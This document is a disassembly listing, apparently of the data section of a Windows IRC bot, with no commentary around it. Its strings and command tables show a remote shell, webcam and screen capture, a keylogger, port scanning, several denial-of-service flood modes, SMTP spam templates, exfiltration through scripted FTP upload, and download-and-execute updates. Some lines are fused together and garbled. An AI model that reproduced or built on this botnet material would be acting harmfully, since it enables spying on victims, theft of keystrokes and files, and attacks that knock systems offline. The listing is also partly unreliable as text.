		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_4307C4	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: seg000:00409036o
		dd 732520h
unk_4307DC	db  2Dh	; -		; DATA XREF: seg000:00409028o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_430808:				; DATA XREF: seg000:00409010o
					; seg000:0040FF69o ...
		dw 0Ah
		unicode	0, <>,0
unk_43080C	db  2Dh	; -		; DATA XREF: seg000:00408FE6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_430830	db  2Dh	; -		; DATA XREF: seg000:00408FD0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_430854	db  2Dh	; -		; DATA XREF: seg000:loc_408F5Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_430894	db  2Dh	; -		; DATA XREF: seg000:loc_408F51o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_4308D4	db  2Dh	; -		; DATA XREF: seg000:00408F47o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
unk_430900	db  2Dh	; -		; DATA XREF: seg000:loc_408EB0o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_430938	db  2Dh	; -		; DATA XREF: seg000:loc_408EA9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_43096C	db  2Dh	; -		; DATA XREF: seg000:00408E99o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: seg000:loc_408E22o
		align 10h
unk_4309A0	db  2Dh	; -		; DATA XREF: seg000:00408E15o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_4309C8	db  2Dh	; -		; DATA XREF: seg000:00408DE2o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: seg000:loc_408D95o
unk_4309F8	db  2Dh	; -		; DATA XREF: seg000:loc_408D82o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_430A34	db  2Dh	; -		; DATA XREF: seg000:loc_408D7Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_430A64	db  2Dh	; -		; DATA XREF: seg000:00408D6Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: seg000:loc_408D3Ao
		align 4
dword_430A98	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: seg000:00408D22o
		dd 2E732520h, 0
unk_430AB4	db  2Dh	; -		; DATA XREF: seg000:00408CDFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_430AE4	db  2Dh	; -		; DATA XREF: seg000:00408CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_430B0C	db  2Dh	; -		; DATA XREF: seg000:00408C1Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_430B2C	db  2Dh	; -		; DATA XREF: seg000:00408BDFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_430B4C	db  2Dh	; -		; DATA XREF: seg000:00408B85o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_430B68	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: seg000:00408B16o
dword_430B7C	dd 54524150h, 0D732520h, 0Ah					; seg000:0040968Ao
unk_430B88	db  2Dh	; -		; DATA XREF: seg000:00408AB2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00408AA4o
		align 10h
dword_430BB0	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: seg000:00408A79o
		dd 25203A29h, 73h
dword_430BCC	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: seg000:00408A0Do
		dd 203A2973h, 7325h
dword_430BE8	dd 45444F4Dh, 732520hdword_430BF0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: seg000:00408985o
		dd 203A2973h, 7325h
dword_430C0C	dd 4E494F4Ah, 20732520h, 7325hdword_430C18	dd 0A0D7325h, 0						; seg000:00408966o ...
dword_430C20	dd 54524150h, 732520hdword_430C28	dd 234032Dh, 67726174h,	3023361haFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_430C64	dd 234032Dh, 67726174h,	3023361haFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_430C90	db  2Dh	; -		; DATA XREF: seg000:00408797o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_430CCC	db  2Dh	; -		; DATA XREF: seg000:0040872Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_430D00	db  2Dh	; -		; DATA XREF: seg000:loc_4086BAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_430D34	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: seg000:0040867Fo
		dd 7325h
dword_430D4C	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: seg000:loc_4085EBo
dword_430D60	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:00408659o ...
dword_430D70	dd 234032Dh, 61647075h,	3026574h, 6F42202Dh, 44492074h
					; DATA XREF: seg000:loc_40854Ao
		dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh
		dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h
		dd 636F7270h, 2E737365h, 0
		dd 234032Dh, 61647075h,	3026574h
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
		dd 234032Dh, 61647075h,	3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0
		align 4
dword_430E2C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: seg000:004083CDo
		dd 7325203Ah, 0
unk_430E48	db  2Dh	; -		; DATA XREF: seg000:004083C2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_430E6C	db  2Dh	; -		; DATA XREF: seg000:00408328o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStartS	db 'Failed to start search thread, error: <%d>.',0
unk_430EA8	db  2Dh	; -		; DATA XREF: seg000:004082B2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_430ED8	dd 234032Dh, 656C6966h,	2D0302h					; seg000:loc_4092C6o
unk_430EE4	db  2Dh	; -		; DATA XREF: seg000:004081DAo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_430F08	db  2Dh	; -		; DATA XREF: seg000:loc_4081B8o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_430F40	db  2Dh	; -		; DATA XREF: seg000:004081AEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_430F78	db  2Dh	; -		; DATA XREF: seg000:00408138o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_430FA4	dd 234032Dh, 6E6F6C63h,	3027365haFailedToStar_2	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_430FE0	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_431010	db  2Dh	; -		; DATA XREF: seg000:00407FD9o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_3	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_431048	db  2Dh	; -		; DATA XREF: seg000:00407F67o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_431078	db  2Dh	; -		; DATA XREF: seg000:00407EE0o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_4	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4310B0	db  2Dh	; -		; DATA XREF: seg000:00407E6Eo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_4310E0	db  2Dh	; -		; DATA XREF: seg000:00407DF8o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_431118	db  2Dh	; -		; DATA XREF: seg000:00407D86o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_431154	db  2Dh	; -		; DATA XREF: seg000:00407D10o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_431194	db  2Dh	; -		; DATA XREF: seg000:00407CA1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_4311C0	db  2Dh	; -		; DATA XREF: seg000:00407BD5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_431204	db  2Dh	; -		; DATA XREF: seg000:00407B66o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_431240	db  2Dh	; -		; DATA XREF: seg000:00407A6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: seg000:004079E8o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: seg000:004078E6o
		align 4
dword_43129C	dd 54434101h, 204E4F49h, 17325h					; seg000:00408B62o
unk_4312A8	db  2Dh	; -		; DATA XREF: seg000:004077F1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_4312E4	db  2Dh	; -		; DATA XREF: seg000:00407782o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_431334	db  2Dh	; -		; DATA XREF: seg000:004076EBo
					; seg000:00407ADBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_43136C	db  2Dh	; -		; DATA XREF: seg000:0040767Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_4313D4	db  2Dh	; -		; DATA XREF: seg000:00407506o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_431408	db  2Dh	; -		; DATA XREF: seg000:004074A9o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_43143C	db  2Dh	; -		; DATA XREF: seg000:loc_407389o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_43146C	db  2Dh	; -		; DATA XREF: seg000:00407382o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:00407369o
aSS_3		db '-s:%s',0            ; DATA XREF: seg000:00407352o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:00407332o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:0040730Eo
					; seg000:00412263o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:004072FDo
		align 4
unk_4314DC	db  2Dh	; -		; DATA XREF: seg000:004072A4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_4314FC	db  2Dh	; -		; DATA XREF: seg000:0040724Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_43153C	db  2Dh	; -		; DATA XREF: seg000:004071EEo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_431574	db  2Dh	; -		; DATA XREF: seg000:00407183o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_4315BC	db  2Dh	; -		; DATA XREF: seg000:004070D5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_4315F0	db  2Dh	; -		; DATA XREF: seg000:004070A1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_431624	db  2Dh	; -		; DATA XREF: seg000:0040707Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_43165C	db  2Dh	; -		; DATA XREF: seg000:00406FDBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:00406FBEo
		align 10h
unk_4316B0	db  2Dh	; -		; DATA XREF: seg000:00406FA9o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_4316E8	db  2Dh	; -		; DATA XREF: seg000:00406F3Ao
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_431730	db  2Dh	; -		; DATA XREF: seg000:loc_406E8Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_431768	db  2Dh	; -		; DATA XREF: seg000:00406E76o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4317A0	db  2Dh	; -		; DATA XREF: seg000:00406DFCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:00406DECo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:00406DE5o
unk_4317E4	db  2Dh	; -		; DATA XREF: seg000:00406D50o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00406D29o
aHcon		db 'hcon',0             ; DATA XREF: seg000:00406CB3o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: seg000:00406CA0o
unk_431824	db  2Dh	; -		; DATA XREF: seg000:00406C51o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:00406BDDo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aUsa		db 'usa',0              ; DATA XREF: seg000:00406ADBo
aTcpflood	db 'tcpflood',0         ; DATA XREF: seg000:00406AC4o
		align 4
aPing_0		db 'ping',0             ; DATA XREF: seg000:00406A96o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: seg000:00406A7Fo
		align 4
aNs		db 'ns',0               ; DATA XREF: seg000:00406A68o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: seg000:00406A51o
aPu1		db 'pu1',0              ; DATA XREF: seg000:00406A23o
aUdpflood	db 'udpflood',0         ; DATA XREF: seg000:00406A0Co
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: seg000:004069DEo
aPsc		db 'psc',0              ; DATA XREF: seg000:004069C7o
aPortscan	db 'portscan',0         ; DATA XREF: seg000:004069B0o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: seg000:0040698Ao
aC_action	db 'c_action',0         ; DATA XREF: seg000:00406973o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: seg000:0040695Co
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: seg000:00406945o
		align 10h
aSc		db 'sc',0               ; DATA XREF: seg000:0040692Eo
		align 4
aScan		db 'scan',0             ; DATA XREF: seg000:00406917o
		align 4
aRd		db 'rd',0               ; DATA XREF: seg000:00406900o
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: seg000:004068E9o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:004068D2o
		align 10h
aDownload1	db 'download1',0        ; DATA XREF: seg000:004068BBo
		align 4
aWonk		db 'wonk',0             ; DATA XREF: seg000:004068A4o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: seg000:0040688Do
		align 10h
dword_431950	dd 234032Dh, 73796B73h,	3026E79haFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_43198C	dd 234032Dh, 73796B73h,	3026E79haFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: seg000:0040678Eo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: seg000:00406777o
					; seg000:00406D11o
aSyod		db 'syod',0             ; DATA XREF: seg000:00406760o
		align 10h
unk_4319D0	db  2Dh	; -		; DATA XREF: seg000:00406753o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: seg000:0040667Co
		align 4
aUsa_rm		db 'usa.rm',0           ; DATA XREF: seg000:00406665o
		align 4
aUsa_ack	db 'usa.ack',0          ; DATA XREF: seg000:0040664Eo
aUsa_syn	db 'usa.syn',0          ; DATA XREF: seg000:00406637o
aClone_0	db 'clone',0            ; DATA XREF: seg000:00406609o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: seg000:004065E0o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: seg000:004065C9o
		align 10h
aMv		db 'mv',0               ; DATA XREF: seg000:004065B2o
		align 4
aRename		db 'rename',0           ; DATA XREF: seg000:0040659Bo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: seg000:0040656Do
		align 4
aExecute	db 'execute',0          ; DATA XREF: seg000:0040653Fo
aU11p		db 'u11p',0             ; DATA XREF: seg000:00406528o
		align 4
aUpdate		db 'update',0           ; DATA XREF: seg000:00406511o
		align 10h
aDe		db 'de',0               ; DATA XREF: seg000:004064FAo
		align 4
aDelay		db 'delay',0            ; DATA XREF: seg000:004064E3o
		align 4
aRp		db 'rp',0               ; DATA XREF: seg000:004064CCo
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: seg000:004064B5o
					; seg000:0040862Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: seg000:0040649Eo
aTsunami	db 'tsunami',0          ; DATA XREF: seg000:00406487o
aT3		db 't3',0               ; DATA XREF: seg000:00406470o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: seg000:00406459o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: seg000:00406442o
aC_part		db 'c_part',0           ; DATA XREF: seg000:0040642Bo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: seg000:00406414o
aC_join		db 'c_join',0           ; DATA XREF: seg000:004063FDo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: seg000:004063E6o
aC_nick		db 'c_nick',0           ; DATA XREF: seg000:004063CFo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: seg000:004063B8o
aC_mode		db 'c_mode',0           ; DATA XREF: seg000:004063A1o
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: seg000:0040638Ao
aC_raw		db 'c_raw',0            ; DATA XREF: seg000:00406373o
		align 4
aCy		db 'cy',0               ; DATA XREF: seg000:0040632Eo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: seg000:00406317o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: seg000:004062BBo
aAddalias	db 'addalias',0         ; DATA XREF: seg000:0040628Do
		align 4
aKl		db 'kl',0               ; DATA XREF: seg000:00406276o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: seg000:0040625Fo
aGh		db 'gh',0               ; DATA XREF: seg000:00406236o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: seg000:00406221o
aCap		db 'cap',0              ; DATA XREF: seg000:0040620Co
unk_431B28	db  2Dh	; -		; DATA XREF: seg000:loc_4061ECo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_431B44	db  2Dh	; -		; DATA XREF: seg000:loc_4061E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: seg000:004061A0o
					; sub_409A6D+5F0o
		align 10h
unk_431B70	db  2Dh	; -		; DATA XREF: seg000:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
unk_431B90	db  2Dh	; -		; DATA XREF: seg000:00406189o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: seg000:004060FFo
		align 4
unk_431BB8	db  2Dh	; -		; DATA XREF: seg000:loc_4060F2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_431BD8	db  2Dh	; -		; DATA XREF: seg000:004060E8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: seg000:00406085o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:00406031o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:00406017o
		align 4
unk_431C14	db  2Dh	; -		; DATA XREF: seg000:loc_40600Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_431C34	db  2Dh	; -		; DATA XREF: seg000:00406000o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_431C58	db  2Dh	; -		; DATA XREF: seg000:00405F7Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_431C90	dd 234032Dh, 6C79656Bh,	302676FhaFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_431CCC	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerActiv	db '- Key logger active.',0
		align 10h
